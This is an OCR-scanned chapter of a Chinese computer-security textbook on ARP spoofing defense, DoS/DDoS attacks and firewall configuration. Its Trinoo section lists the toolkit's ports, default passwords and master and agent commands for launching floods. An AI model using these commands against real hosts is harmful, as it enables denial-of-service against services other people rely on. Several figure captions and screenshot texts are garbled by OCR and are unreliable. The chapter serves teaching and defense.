给 被 欺骗 者 ,用 假 的 IP 地址 与 MAC 地 址 的 映射 来 更 新 被 欺骗 者 的 ARP 高 速 缓存 ,实现 对 
被 欺骗 者 的 ARP 欺骗 。 

有 两 种 ARP 欺骗 方式 : 一 种 是 对 路 由 器 ARP 高 速 缓存 的 欺骗 ; 另 一 种 是 对 内 网 计算 
机 ARP 高 速 缓存 的 欺骗 。 
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2. ARP 欺骗 攻击 的 防范 


CD 在 客户 端 使 用 ARP 命令 绑 定 网 关 的 IP/MAC( 例 如 arp -s 192. 168. 1. 1 00-e0-eb- 
81-81-85), 

(2) 在 交换 机 上 做 端口 与 MAC 地 址 的 静态 绑 定 。 

(3) 在 路 由 器 上 做 IP/MAC 地 址 的 静态 绑 定 。 

(4) 使 用 ARP 服务 器 定时 广播 网 段 内 所 有 主机 的 正确 IP/MAC 映射 表 。 

(5) 及 时 升级 客户 端的 操作 系统 和 应 用 程序 补丁 。 

(6) 升级 杀毒 软件 及 其 病毒 库 。 


5.6 DOS 5 DDoS 攻击 检测 与 防御 


自从 1999 年 下 半年 以 来 ,互联 网 上 许多 大 网 站 就 接连 不 断 地 遭 到 拒绝 服务 攻击 。 美 国 
的 政府 网 站 LES Microsoft | CNN. Yahoo, ZDNet、Ebay、 纽 约 时 报 等 网 站 都 遭 到 过 拒绝 服 
务 攻击 。 我 国 网 站 遭 到 拒绝 服务 攻击 的 情况 也 十 分 普遍 , 绝 大 多 数 的 ISP( 互 联网 服务 提供 
商 ) .网 站 和 电信 公司 都 曾 遭 到 拒绝 服务 攻击 ,尤其 是 在 宽带 用 户 数量 大 幅度 增加 之 后 ,拒绝 
服务 攻击 变 得 更 为 严重 。 实 施 这 种 攻击 的 难度 比较 小 ,但 破坏 性 却 很 大 。 


5.6.1 实例 : DDoS 攻击 


模拟 实验 环境 如 图 5-38 所 示 。 


在 UDP27444 
端口 监听 


代理 端 192.168.1.21 
在 TCP 27665 
端口 监听 


- x 
- ` 


3 im 192. 168. i 3 、 SS 

B... T t 192.168.1.31 
wm F: 192.168.1.25 

192.168.1.12 代理 端 ds 


图 5-38 模拟 实验 环境 


攻击 者 
192.168.1.1 


DDoS 攻击 不 断 在 Internet 出 现 ,并 在 应 用 的 过 程 中 不 断 地 得 到 完善 ,DDoS 采用 多 层 
C/S 结构 ,一 个 完整 的 DDoS 攻击 体系 一 般 包 含 4 部 分 : 攻击 者 、 主 控 端 ,代理 端 和 被 攻击 
者 ,其 体系 结构 如 图 5-38 所 示 。 这 种 多 层 C/S 结构 ,使 DDoS 具有 更 强 的 攻击 能 力 , 并 且 能 
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较 好 地 隐藏 攻击 者 的 真实 地 址 。 

DDoS 已 有 一 系列 比较 成 熟 的 软件 产品 ,如 Trinoo、TFN、TFN2K 等 ,它们 的 基本 核心 
和 攻击 思路 是 类 似 的 ,下 面 通 过 Trinoo( 拒 绝 服务 攻击 工具 包 ) 对 DDoS 攻击 进行 介绍 。 

Trinoo 是 基于 UDP Flood 的 攻击 软件 , 它 向 被 攻击 目标 主机 的 随机 端口 发 送 全 零 的 
4 字 节 UDP 包 , 被 攻击 主机 的 网 络 性 能 在 处 理 这 些 超出 其 处 理 能 力 的 垃圾 数据 包 的 过 程 中 
不 断 下 降 , 直 至 不 能 提供 正常 服务 甚至 崩溃 。Trinoo 使 用 的 端口 如 下 : 

CD 攻击 者 主机 到 主 控 端 主机 27665/TCP。 

(2) 主 控 端 主机 到 代理 端 主机 27444/UDP。 

(3) 代理 端 主机 到 主 控 端 主机 31335/UDP。 

Trinoo 网 络 由 主 控 端 Cmaster. c) HI Trinoo 代理 端 (ns. c) 组 成 。 典 型 的 Trinoo 网 络 结 
构 如 图 5-38 所 示 。 

Trinoo 通过 以 下 3 个 模块 实现 攻击 功能 : 

(1) 攻击 守护 进程 (NS) ,图 5-38 中 的 代理 端 。 

(2) 攻击 控制 进程 (MASTER), 图 5-38 中 的 主 控 端 。 

(3) 客户 端 (标准 telnet,netcat 等 ) ,图 5-38 中 的 攻击 者 。 

攻击 守护 进程 CNS) 是 真正 实施 攻击 的 程序 , 它 一 般 和 攻击 控制 进程 (MASTER ) 所 在 
主机 分 离 ,在 源 文件 ns. c 编译 的 时 候 ,需要 加 入 可 控制 其 执行 的 攻击 控制 进程 (MASTER) 
所 在 主机 IP,( 只 有 在 ns.c 中 的 IP 方 可 发 起 NS 的 攻击 行为 ) 编 译 成 功 后 ,黑客 通过 目前 
比较 成 熟 的 主机 系统 漏洞 破解 (如 RPC. CMSD, RPC. TTDBSERVER. RPC. STATD) 
可 以 方便 地 将 大 量 NS 植 人 互联 网 中 有 上 述 漏洞 主机 内 。NS 运行 时 ,会 首先 向 攻击 控 
制 进程 ( MASTER) 所 在 主机 的 31335 端口 发 送 内 容 为 HELLO 的 UDP 包 , 表 示 它 自 
身 的 存在 ,随后 攻击 守护 进程 即 处 于 对 端口 27444 的 侦 听 状态 ,等 待 MASTER 攻击 指 
令 的 到 来 。 

攻击 控制 进程 (MASTER) 在 收 到 攻击 守护 进程 的 HELLO 包 后 ,会 在 自己 所 在 目录 生 
成 一 个 加 密 的 可 利用 主机 表 文 件 , MASTER 的 启动 是 需要 密码 的 ,在 正确 输入 默认 密码 
gOrave 后 ,MASTER 即 成 功 启动 , 它 一 方面 侦 听 端口 31335 ,等待 攻击 守护 进程 的 HELLO 包 ; 
另 一 方面 侦 听 端口 27665 ,等待 客 户 端 对 其 的 连接 。 当 客户 端 连接 成 功 并 发 出 指令 时 ， 
MASTER 所 在 主机 将 向 攻击 守护 进程 NS 所 在 主机 的 27444 端口 传递 指令 。 

客户 端 不 是 Trinoo 自 带 的 一 部 分 ,可 用 标准 的 能 提供 TCP 连接 的 程序 ,如 telnet、 
netcat 等 ,连接 MASTER 所 在 主机 的 27665 端口 ,输入 默认 密码 betaalmostdone 后 , 即 完 
成 了 连接 工作 ,进入 攻击 控制 可 操作 的 提示 状态 。 

Trinoo 主 控 端的 远程 控制 是 通过 在 27665/TCP 端口 建立 TCP 连接 实现 的 。 在 连接 
建立 后 ,用 户 必 须 提供 正确 的 口令 (betaalmostdone)。 如 果 在 已 有 人 通过 验证 时 又 有 另外 
的 连接 建立 , 则 一 个 包含 正在 连接 IP 地 址 的 警告 信息 会 发 送 到 已 连接 主机 (程序 提供 的 
IP 地 址 似乎 有 错 , 但 警告 信息 仍 被 发 送 )。 毫 无 疑问 ,这 个 功能 最 终 的 完整 实现 将 能 给 予 攻 
击 者 足够 的 时 间 在 离开 之 前 清除 痕迹 。 

dé 5-11 一 表 5-13 所 示 分 别 是 默认 的 口令 、 主 控 端 命令 .代理 端 命令 及 各 自 的 说 明 。 
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表 5-11 默认 的 口令 及 其 说 明 


默认 的 口令 说 明 默认 的 口令 说 明 
betaalmostdone | Trinoo 主 控 端 远程 接口 口令 killme bars ERES mdie 验 
T. 
gOrave Trinoo 主 控 端 启动 (提示 “??”) l44adsl Trino 代理 端口 令 
表 5-12 主 控 端 命令 及 其 说 明 
命 令 说 明 命 令 说 明 
bcast 列 出 所 有 激活 的 广播 主机 mdos 对 多 个 目标 主机 实施 攻击 
. j 守护 进程 NS 回应 ,监测 
die 关闭 主 控 端 mping 回应 ,监测 
dos 对 某 一 目标 主机 实施 攻击 ,如 | . 设置 DOS 攻击 时 使 用 的 UDP 包 
dos 12. 34. 45. 56 FIR 的 大 小 
help [cmd] | 服务 器 或 命令 的 帮助 信息 mtimer N 设 定 攻击 时 长 为 N E 
info 打印 版 本 和 编译 信息 nslookup host | 对 指定 的 主机 进行 域名 查询 
killdead 尝试 清除 死 锁 的 广播 主机 quit 退出 主 控 端 登录 
di 停止 正在 实施 的 攻击 ,使 用 这 一 功 | _ back 切换 到 由 killdead 命令 建立 的 广播 
E 能 需要 输入 口令 killme e365UP | 主机 备份 文件 
表 5-13 代理 端 命令 及 其 说 明 
命 令 说 明 
aaa pass IP 攻击 指定 的 IP 地址 
rsz N 设置 DOS 攻击 的 缓冲 区 大 小 为 N 字 节 
xyz pass 123:ipl:ip2:ip3 多 个 DOS 攻击 。 类 似 aaa 命令 ,但 可 以 同时 攻击 多 个 IP 地 址 


5.6.2 DOS 5 DDoS 攻击 的 原理 


1. DOS 


DOS(Denial of Service, 拒 绝 服 务 ) 攻 击 是 通过 对 主机 特定 漏洞 的 利用 进行 攻击 导致 网 
络 栈 失效 .系统 崩溃 ,主机 死机 而 无 法 提供 正常 的 网 络 服务 功能 ,从 而 造成 拒绝 服务 ,或 者 利 
用 合理 的 服务 请 求 来 占用 过 多 的 服务 器 资源 (包括 网 络 带 宽 .文件 系统 空间 容量 或 者 网 络 连 
接 等 ) ,致使 服务 器 超载 ,最 终 无 法 响应 其 他 用 户 正常 的 服务 请 求 。 

DOS 攻击 一 般 采 用 一 对 一 的 方式 。 

常见 的 DOS 攻击 方式 有 死亡 之 pingCping of death), TCP 全 连接 攻击 `SYN Flood, 
SYN/ACK Flood, TearDrop, Land, Smurf, Ñi] Script 脚本 攻击 、UDP 攻击 等 。 


2. DDoS 


DDoS(CDistributed Denial of Service, 分 布 式 拒绝 服务 ) 攻 击 ,又 称 “ 洪 水 式 攻 击 ”, 是 在 
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DOS 攻击 的 基础 上 产生 的 一 种 分 布 式 .协作 式 的 大 规模 拒绝 服务 攻击 方式 ,其 攻击 策略 侧 
重 于 通过 很 多 “僵尸 主机 ?( 被 攻击 者 人 侵 过 或 可 间接 利用 的 主机 ) 向 受害 主机 发 送 大 量 看 似 
合法 的 网 络 数据 包 , 从 而 造成 网 络 阻塞 或 服务 器 资源 耗 尽 而 导致 拒绝 服务 ,分 布 式 拒绝 服务 
攻击 一 旦 被 实施 ,攻击 网 络 数据 包 就 会 如 洪水 般 涌 向 受害 主机 ,从 而 把 合法 用 户 的 网 络 数据 
包 渡 没 ,导致 合法 用 户 无 法 正常 访问 服务 器 的 网 络 资源 。 DDoS 攻击 是 目前 难以 防范 的 攻 
击 手 段 ,这 种 攻击 主要 针对 大 的 站 点 。 由 于 攻守 双方 系统 资源 的 差距 悬殊 ,DDoS 攻击 具有 
更 大 的 破坏 性 。 

DDoS 的 攻击 形式 主要 有 流量 攻击 和 资源 耗 尽 攻击 。 

(1) 流量 攻击 

流量 攻击 主要 是 针对 网 络 带宽 的 攻击 , 即 大 量 攻击 包 导致 网 络 带宽 被 阻塞 ,合法 网 络 包 
被 虚假 的 攻击 包 淹 没 而 无 法 到 达 主 机 。 

(2) 资源 耗 尽 攻击 

资源 耗 尽 攻 击 主要 是 针对 服务 器 主机 的 攻击 , 即 通 过 大 量 攻击 包 导 致 主机 的 内 存 被 耗 
尽 或 CPU 被 占 完 而 导致 无 法 提供 正常 网 络 服务 。 

DDoS 攻击 采用 多 对 一 的 方式 。 

常见 的 DDOS 攻击 方式 有 SYN Flood, ACK Flood, UDP Flood ICMP Flood, TCP Flood, 
Connections Flood,Script Flood, Proxy Flood 45 , 


5.6.3 DOS 5 DDoS 攻击 检测 与 防范 


1. 拒绝 服务 攻击 的 检测 


常用 的 检测 方法 有 : 使 用 ping 命令 检测 ,使 用 netstat 命令 检测 。 

(1) 使 用 ping 命令 检测 

使 用 ping 命令 检测 时 如 果 出 现 超时 或 者 严重 丢 包 的 现象 , 则 有 可 能 是 受到 了 流量 攻 
击 。 如 果 使 用 ping 命令 测试 某 服务 器 时 基本 正常 ,但 无 法 访问 服务 (比如 无 法 打开 网 页 
等 ) ,而 ping 同一 交换 机 上 的 其 他 主机 正常 , 则 有 可 能 是 受到 了 资源 耗 尽 攻击 。 

(2) 使 用 netstat 命令 检测 

在 服务 器 上 执行 netstat -an 命令 ,如 果 显 示 大 量 的 SYN RECEIVED, TIME WAIT, 
FIN WAIT 1 等 状态 ,而 ESTABLISHED 状态 很 少 , 则 可 以 判定 是 受到 了 资源 耗 尽 攻击 。 


2. 拒绝 服务 攻击 的 防范 


防范 DDoS 是 一 个 系统 工程 , 若 想 仅仅 依靠 某 种 系统 或 产品 防范 DDoS 是 不 现实 的 。 
目前 ,完全 杜绝 DDoS 也 是 不 可 能 的 ,但 通过 适当 的 措施 还 是 可 以 防范 大 多 数 一 般 性 的 
DDoS 攻击 。 具 体 有 以 下 几 项 : 

CD 采用 高 性 能 的 网 络 设备 。 最 好 采用 高 性 能 的 网 络 设备 ,并 且 及 时 升级 主机 服务 器 
的 硬件 配置 ,尤其 是 主机 和 内 存 . 以 提高 抗拒 绝 服务 攻击 的 能 力 。 

(2) 避免 NAT 的 使 用 。 无 论 是 路 由 器 还 是 防火 墙 都 要 避免 使 用 NAT( 网 络 地 址 


o, 


EN 
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转换 ) 。 

(3) 充足 的 网 络 带宽 。 网 络 带 宽 直接 决定 了 网 络 能 够 承受 拒绝 服务 攻击 的 能 力 。 

(4) 把 网 站 做 成 静态 页 面 。 把 网 站 尽 可 能 做 成 静态 页 面 ,不 仅 可 以 提高 抗 攻 击 能 力 ,还 
能 够 增加 黑客 人 侵 的 难度 ,比如 搜狐 .新 浪 等 大 型 门户 网 站 主要 采用 静态 页 面 。 

(5) 增强 操作 系统 的 TCP/IP f£. 

(6) 安装 专业 抗 DDoS 防火 墙 。 

(7) 采用 负载 均衡 技术 。 

将 网 站 分 布 在 多 个 主机 上 ,每 个 主机 只 提供 网 站 的 一 部 分 服务 ,避免 受 攻击 时 全 部 
瘫痪 。 


5.7 防火墙 技 术 


计算 机 网 络 安全 是 指 利 用 网 络 管理 控制 和 技术 措施 ,保证 在 一 个 网 络 环境 里 ,信息 数据 
的 保密 性 、 完 整 性 和 可 使 用 性 受到 保护 。 网 络 安全 防护 的 根本 目的 就 是 防止 计算 机 网 络 存 
储 \ 传 输 的 信息 被 非法 使 用 ,破坏 和 自 改 。 防 火 墙 技 术 正 是 实现 上 述 目的 的 一 种 常用 的 计算 
机 网 络 安 全 技术 。 


5.7.1 防火 墙 的 功能 与 分 类 


防火 墙 (FireWall) 是 一 种 重要 的 网 络 防 护 设备 ,是 一 种 保护 计算 机 网 络 \、 防 御 网 络 入 侵 
的 有 效 机 制 。 


1. 防火 墙 的 基本 原理 


防火 墙 是 控制 从 网 络 外 部 访问 本 网 络 的 设备 ,通常 位 于 内 网 与 Internet 的 连接 处 (网 络 
边界 ) ,充当 访问 网 络 的 唯一 入 口 (出口), 用 来 加 强 网 络 之 间 访 问 控制 ,防止 外 部 网 络 用 户 以 
非法 手段 通过 外 部 网 络 进入 内 部 网 络 ,访问 内 部 网 络 资源 ,从 而 保护 内 部 网 络 设备 。 防 火 墙 
根据 过 滤 规 则 来 判断 是 否 允许 某 个 访问 请 求 。 


2. 防火 墙 的 作用 


防火 墙 能 够 提高 网 络 整体 的 安全 性 ,因而 给 网 络 安 全 带 来 了 众多 好 处 ,防火 墙 的 主要 作 
用 有 如 下 几 点 : 

(1) 保护 易 受 攻击 的 服务 。 

(2) 控制 对 特殊 站 点 的 访问 。 

(3) 集中 的 安全 管理 。 

(4) 过 滤 非 法 用 户 , 对 网 络 访问 进行 记录 和 统计 。 


3. 防火 墙 的 基本 类 型 
根据 防火 墙 的 外 在 形式 可 以 分 为 软件 防火 墙 、 硬 件 防 火 墙 . 主 机 防火 墙 . 网 络 防火 墙 、 
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Windows Bi i , Linux 防火 墙 等 。 

根据 防火 墙 所 采用 的 技术 可 以 分 为 包 过 滤 型 `NAT .代理 型 和 监测 型 防火 墙 等 。 

(1) 包 过 滤 型 

包 过 滤 型 防火 墙 的 原理 : 监视 并 且 过 滤 网 络 上 流入 /流出 的 TP. 数据 包 , 拒 绝 发 送 可 疑 
的 数据 包 。 包 过 滤 型 防火 墙 设置 在 网 络 层 ,可 以 在 路 由 器 上 实现 包 过 滤 。 首 先 应 建立 一 定 
数量 的 信息 过 滤 表 。 数 据 包 中 都 会 包含 一 些 特定 信息 ,如 源 IP 地 址 .目的 IP 地 址 、 传 输 协 
议 类 型 (TCP .UDP ICMP 等 ) . 源 端 口号 、 目 的 端口 号 .连接 请 求 方向 等 。 当 一 个 数据 包 满 
足 过 滤 表 中 的 规则 时 , 则 允许 数据 包 通 过 ,否则 便 会 将 其 丢弃 。 

先进 的 包 过 滤 型 防火 墙 可 以 判断 这 一 点 , 它 可 以 提供 内 部 信息 以 说 明 所 通过 的 连接 状 
态 和 一 些 数 据 流 的 内 容 , 把 判断 的 信息 同 规则 表 进 行 比较 ,在 规则 表 中 定义 了 各 种 规则 来 表 
明 是 否 同 意 或 拒绝 包 的 通过 。 包 过 滤 型 防火 墙 检 查 每 一 条 规则 直至 发 现 包 中 的 信息 与 某 规 
则 相符 。 如 果 没 有 一 条 规则 能 符合 ,防火 墙 就 会 使 用 默认 规则 ,一 般 情况 下 ,默认 规则 就 是 
要 求 防火 墙 丢 弃 该 包 。 其 次 ,通过 定义 基于 TCP sk UDP 数据 包 的 端口 号 ,防火 墙 能 够 判断 
是 否 允 许 建 立 特 定 的 连接 ,如 Telnet, FTP 连接 。 

包 过 滤 技 术 的 优 缺 点 如 下 。 

CD 优点 。 简 单 实用 ,实现 成 本 较 低 , 在 应 用 环境 比较 简单 的 情况 下 ,能 够 以 较 小 的 代价 
在 一 定 程度 上 保证 系统 的 安全 。 


O 缺点 。 包 过 滤 技术 是 一 种 完全 基于 网 络 E in 
层 的 安全 技术 ,无 法 识别 基于 应 用 层 的 恶意 侵 E E 


入 ,如 图 5-39 所 示 。 

(2) NAT( 网 络 地 址 转换 ) 

NAT 是 一 种 用 于 把 私有 IP 地 址 转换 成 公 
有 IP 地 址 的 技术 。 它 允许 具有 私有 IP 地 址 的 内 部 网 络 访问 互联 网 。 

当 受 保护 网 连 到 Internet. 上 时 , 受 保护 网 用 户 车 要 访问 Internet, 必须 使 用 一 个 合法 的 
IP 地 址 。 但 由 于 合法 Internet IP 地 址 有 限 , 而 且 受 保护 网 络 往往 有 自己 的 一 套 IP 地 址 规 
划 ( 非 正式 IP 地 址 )。 网 络 地 址 转换 器 就 是 在 防火 墙 上 装 一 个 合法 IP 地 址 集 。 当 内 部 某 一 
用 户 要 访问 Internet 时 ,防火 墙 动态 地 从 地 址 集中 选 一 个 未 分 配 的 地 址 分 配给 该 用 户 ,该 用 
户 即 可 使 用 这 个 合法 地 址 进行 通信 。 同 时 ,对 于 内 部 的 某 些 服务 器 如 Web 服务 器 ,网 络 地 
址 转换 器 允许 为 其 分 配 一 个 固定 的 合法 地 址 。 外 部 网 络 的 用 户 就 可 通过 防火 墙 来 访问 内 部 
的 服务 器 。 这 种 技术 既 缓解 了 少量 的 IP 地 址 和 大 量 的 主机 之 间 的 矛盾 ,又 对 外 隐藏 了 内 部 
主机 的 IP 地 址 ,提高 了 安全 性 。 

(3) 代理 型 

代理 型 防火 墙 由 代理 服务 器 和 过 滤 路 由 器 组 成 。 代 理 服 务 器 位 于 客户 机 与 服务 器 之 
间 。 从 客户 机 来 看 ,代理 服务 器 相当 于 一 台 真 正 的 服务 器 ;而 从 服务 器 来 看 ,代理 服务 器 
又 是 一 台 真 正 的 客户 机 。 当 客户 机 访问 服务 器 时 ,首先 将 请 求 发 给 代理 服务 器 ,代理 服 
务 器 再 根据 请 求 向 服务 器 读 取 数 据 , 然 后 再 将 读 来 的 数据 传 给 客户 机 。 由 于 代理 服务 器 
将 内 网 与 外 网 隔 开 , 从 外 面 只 能 看 到 代理 服务 器 ,因此 外 部 的 恶意 入 侵 很 难 伤害 到 内 网 


卫 数 据 包 
图 5-39 包 过 滤 技 术 
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代理 型 防火 墙 的 优 缺 点 如 下 。 

CD 优点 。 安 全 性 较 高 ,可 以 针对 应 用 层 进行 侦 测 和 扫描 ,对 付 基 于 应 用 层 的 侵入 和 病 
毒 都 十 分 有 效 ,如 图 5-40 所 示 。 

@ 缺点 。 对 系统 的 整体 性 能 有 较 大 的 影响 ,而 且 代 理 服 务 器 必须 针对 客户 机 可 能 产生 
的 所 有 应 用 类 型 逐一 进行 设置 .大 大 增加 了 系统 管理 的 复杂 性 。 

(4) 监测 型 

监测 型 防火 墙 是 第 三 代 网 络 安 全 技术 。 监 测 型 防火 墙 能 够 对 各 层 的 数据 进行 主动 的 、 
实时 的 监测 ,如 图 5-41 所 示 ,在 对 这 些 数 据 加 以 分 析 的 基础 上 ,监测 型 防火 墙 能 够 有 效 地 判 
断 出 各 层 中 的 非法 入 侵 。 虽 然 监测 型 防火 墙 在 安全 性 上 已 超越 了 包 过 滤 型 和 代理 服务 器 型 
防火 墙 ,但 由 于 监测 型 防火 墙 技术 的 实现 成 本 较 高 ,也 不 易 管理 ,所 以 目前 在 实用 中 的 防火 
墙 产 品 仍然 以 第 二 代 代 理 型 产品 为 主 ,但 在 某 些 方面 也 已 经 开始 使 用 监测 型 防火 墙 。 


indos 防火 二 过 阻止 未 授权 用 户 通 过 Internet 或 网 结 访问 多 的 计算 
NERA. ice g 
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[^ AER. cn Windows 防火 墙 可 能 使 计算 机 更 容易 受 


BORA 防火 墙 只 检查 
T 22 和 有 
网 络 层 IM Yindews 防火 培 的 其 地 信息 
IP 数 据 包 
图 5-41 ”监测 型 防火 墙 图 5-42 [Windows 防火 墙 ] 对 话 框 一 [常规 ] 选 项 卡 


5.7.2 实例: Windows 中 防火 墙 的 配置 


依次 选择 [开始 了 民 设 置 ] 民 控制 面板 ] 莱 单 命令 ,然后 单 击 控制 面板 中 的 【安全 中 心 ] 一 
项 ,再 单 击 (Windows 防火 墙 3 一 项 . 即 可 打开 [Windows 防火 墙 ] 对 话 框 ,如 图 5-42 所 示 。 

COD 【常规 选项 卡 设置 

如 图 5-42 所 示 民 常规 了 选项 卡 中 有 两 个 主 选项 和 一 个 子 选 项 。 

O 两 个 主 选项 :【 启 用 (推荐 )] 和 【关闭 (不 推荐 )】。 

@ 一 个 子 选项 :【 不 允许 例外 】。 

如 果 选 中 [不 允许 例外 ] 复 选 框 ,Windows 防火 墙 将 拦截 所 有 的 连接 用 户 计算 机 的 网 络 
请 求 , 包 括 在 【例外 】 选 项 卡 列表 中 的 应 用 程序 和 系统 服务 。 另 外 ,防火 墙 也 将 拦截 文件 和 打 
印 机 共享 。 由 此 可 见 ,使 用 [不 允许 例外 】 选 项 的 Windows 防火 墙 过 于 严格 了 ,所 以 比较 适 


计算 机 安全 技术 


用 于 高 危 环境 ,比如 在 宾馆 和 机 场 等 场所 连接 到 公共 网 络 上 的 个 人 计算 机 。 

默认 情况 下 已 选择 [启用 (推荐 )] 单 选 按钮 。 当 Windows 防火 墙 处 于 打开 状态 时 ,大 部 
分 程序 都 被 阻止 通过 防火 墙 。 如 果 想 要 解除 对 某 一 程序 的 阻止 ,可 以 将 其 添加 到 [例外 ] 列 
表 (【 例 外 】 选 项 卡 )。 

避免 使 用 关闭 (不 推荐 ) 了 单 选 按钮 ,除非 计算 机 上 运行 了 其 他 防火 墙 。 关 闭 Windows 
防火 墙 可 能 会 使 计算 机 更 容易 受到 黑客 和 恶意 软件 的 侵害 。 

(2)【 例 外 选项 卡 

如 果 某 些 程序 需要 进行 网 络 通信 ,那么 可 以 将 它们 添加 到 【例外 列表 中 ,在 列表 中 的 程 
序 将 被 允许 网 络 连接 。 

如 图 5-43 所 示 ,在 【例外 选项 卡 界面 的 下 方 有 两 个 添加 按钮 ,分 别 是 【添加 程序 ] 和 【 添 
加 端口 】, 可 以 根据 具体 的 情况 手工 添加 例外 项 。 

如 果 不 清 楚 某 个 应 用 程序 是 通过 哪个 端口 与 外 界 通信 ,或 者 不 知道 它 是 基于 UDP 
还 是 TCP, 可 以 通过 【添加 程序 ] 来 添加 例外 项 。 例 如 要 允许 [Thunder( 迅 雷 )】 通 信 , 则 
单 击 【添加 程序 】 按 钮 ,选择 应 用 程序 D:\Program Files\ Thunder Network\Thunder\ 
"Thunder. exe, 然 后 单 击 【确定 按钮 将 Thunder( 迅 雷 )] 加 入 列表 。 

如 果 对 端口 号 以 及 TCP/UDP 比较 熟悉 , 则 可 以 采用 后 一 种 方式 , 即 指定 端口 号 的 添 
加 方式 。 对 于 每 一 个 例外 项 ,可 以 通过 【更 改 范 围 ] 对 话 框 指定 其 作用 域 ,如 图 5-44 所 示 o 
对 于 家 用 和 小 型 办 公 室 应 用 网 络 ,推荐 设置 作用 域 为 可 能 的 本 地 网 络 。 当 然 ,也 可 以 自 定义 
作用 域 中 的 IP 范围 ,这 样 只 有 来 自 特 定 的 TP 地 址 范围 的 网 络 请 求 才能 被 接受 。 


[wm | 例外 jme | 
e RARE AMATE BIEI EE E 


程序 和 服务 © 


回 % 软 件 管理 更 新 服务 Epe EH nmm pits HO ioco + 请 单 击 下 面 的 
团员 软件 管理 在 贱 更 新 : 
回 sogou Pinyin Service 义 列 表 , ESSA LLDES-AOHARD IP 地 址 ， 子 网 或 同时 包括 IF 地 
rand Livius 9.17.1994 TB 

32 


加 任何 计算 机 (包括 Internet. 上 的 计算 机 ) A) 


区 加 程序 a Crio OREHA FDW 


回 Windows 防火 增 阴 止 程序 时 通知 名 00) OBRUO: 
218. 198. 18. 22, 218. 198. 16. 0/255. 255. 255. 0 
示例 : 192.166. 114. 201, 192. 168. 114. 201/255. 255. 255.0 


Cx» Jom ] 


图 5-43 [Windows 防火 墙 ] 对 话 框 一 [例外 】 图 5-44 【更 改 范围 ] 对 话 框 
选项 卡 


An? 


(3)【 高 级 】 选 项 卡 。 

如 果 要 使 系统 更 加 安全 ,那么 一 定 要 在 【高 级 】 选 项 卡 中 进行 设置 。 

如 图 5-45 所 示 , 在 【高 级 】 选 项 卡 中 包含 4 组 选项 : 网 络 连 接 设 置 、 安 全 日 志 记 录 、 
ICMP 和 默认 设置 , 表 5-14 中 对 它们 进行 了 说 明 , 可 以 根据 实际 情况 进行 相应 的 配置 。 
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三 Windows kE 

an | 例外 | 高 级 
网 络 连 接 设置 
为 下 列 选 定 的 连接 启用 了 Windows 防火 墙 。 要 为 每 个 连接 单独 添加 例 
5.8 +， 然后 单 击 “ 设 置 ”(C) 


Vware Network Adapter Vilnetl al 
回 Wiware Network Adapter ynet8 


s 


您 可 以 创建 用 于 疑难 解答 的 日 志文 件 。 


IcNP 


tt Cua — 


默认 设置 


Nite fuesen. ETD 


Low jo ms ] 
图 5-45 [Windows 防火 墙 ] 对 话 框 一 [高 级 选项 卡 


表 5-14 【高 级 ] 选 项 卡 中 的 4 组 选项 
选 项 说 明 
这 里 可 以 选择 Windows 防火 墙 应 用 到 哪些 连接 上 ,当然 也 可 以 对 某 个 连接 进行 单独 的 
配置 .这样 可 以 使 防火 墙 应 用 更 加 灵活 
日 志 选 项 里 面 的 设置 可 以 记录 防火 墙 的 跟踪 记录 ,包括 丢弃 和 成 功 的 所 有 事项 。 在 日 
安全 日 志 记录 | 志文 件 选项 里 ,可 以 更 改 记录 文件 存放 的 位 置 ,还 可 以 手工 指定 日 志文 件 的 大 小 。 系 统 
默认 的 选项 是 不 记录 任何 拦截 或 成 功 的 事项 ,而 记录 文件 的 大 小 默认 为 4MB 


互联 网 控制 消息 协议 (ICMP) 允 许 网 络 上 的 计算 机 共享 错误 和 状态 信息 。 在 【ICMP i 
ICMP 置 ] 对 话 框 中 选 定 某 一 项 时 ,界面 下 方 会 显示 出 相应 的 描述 信息 ,可 以 根据 需要 进行 配 
置 。 在 默认 状态 下 ,所 有 的 ICMP 都 没有 打开 


默认 设置 如 果 要 将 所 有 Windows 防火 墙 设置 恢复 为 默认 状态 ,可 单 击 右 侧 的 [还 原 为 默认 值 ] 控 钮 


网 络 连接 设置 


Windows Server 2003、Windows Vista 内 置 防火 墙 的 设置 和 Windows XP 类 似 。 
5.7.3 实例 : Linux 防火 墙 配置 

Linux 提供 了 一 个 非常 优秀 的 防火 墙 工具 netfilter/iptables , 它 免费 、 功 能 强大 、 可 以 对 
流入 /流出 的 信息 进行 灵活 控制 ,并 且 可 以 在 一 台 低 配置 的 机 器 上 很 好 地 运行 。 

1. netfilter/iptables 介绍 


Linux 在 2. 4 版 本 以 后 的 内 核 中 包含 netfilter/iptables ,系统 这 种 内 置 的 IP 数据 包 过 
滤 工 具 使 得 配置 防火 墙 和 数据 包 过 滤 变 得 更 加 容易 ,使 用 户 可 以 完全 控制 防火 墙 配置 和 数 
据 包 过 滤 。netfilter/iptables 允许 为 防火 墙 建立 可 定制 的 规则 来 控制 数据 包 过 滤 ,并 且 还 
允许 配置 有 状态 的 防火 墙 。 另 外 ,netfilter/iptables 还 可 以 实现 NAT( 网 络 地 址 转换 ) 和 数 
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据 包 的 分 割 等 功能 。netfilter/iptables 从 ipchains 和 ipwadfm 演化 而 来 ,功能 更 加 强大 。 

netfilter 组 件 也 称 为 内 核 空间 ,是 内 核 的 一 部 分 ,由 一 些 数据 包 过 滤 表 组 成 ,这 些 表 包 
含 内 核 用 来 控制 数据 包 过 滤 处 理 的 规则 集 。 

iptables 组 件 是 一 种 工具 ,又 称 用 户 空间 , 它 使 插入 、 修 改 和 删除 数据 包 过 滤 表 中 的 规 
则 变 得 容易 。 

使 用 用 户 空间 (iptables) 构 建 自己 定制 的 规则 ,这 些 规则 存储 在 内 核 空 间 的 过 滤 表 中 。 
这 些 规则 中 的 目标 告诉 内 核对 满足 条 件 的 数据 包 采 取 相 应 的 措施 。 

根据 规则 处 理 数 据 包 的 类 型 ,将 规则 添加 到 不 同 的 链 中 。 处 理 入 站 数据 包 的 规则 被 添 
加 到 INPUT 链 中 。 处 理 出 站 数据 包 的 规则 被 添加 到 OUTPUT 链 中 。 处 理 正在 转发 的 数 
据 包 的 规则 被 添加 到 FORWARD 链 中 。 这 3 个 链 是 数据 包 过 滤 表 (filter) 中 内 置 的 默认 主 
规则 链 。 每 个 链 都 可 以 有 一 个 策略 , 即 要 执行 的 默认 操作 , 当 数 据 包 与 链 中 的 所 有 规则 都 不 
匹配 时 ,将 执行 此 操作 (理想 的 策略 应 该 丢弃 该 数据 包 ) 。 

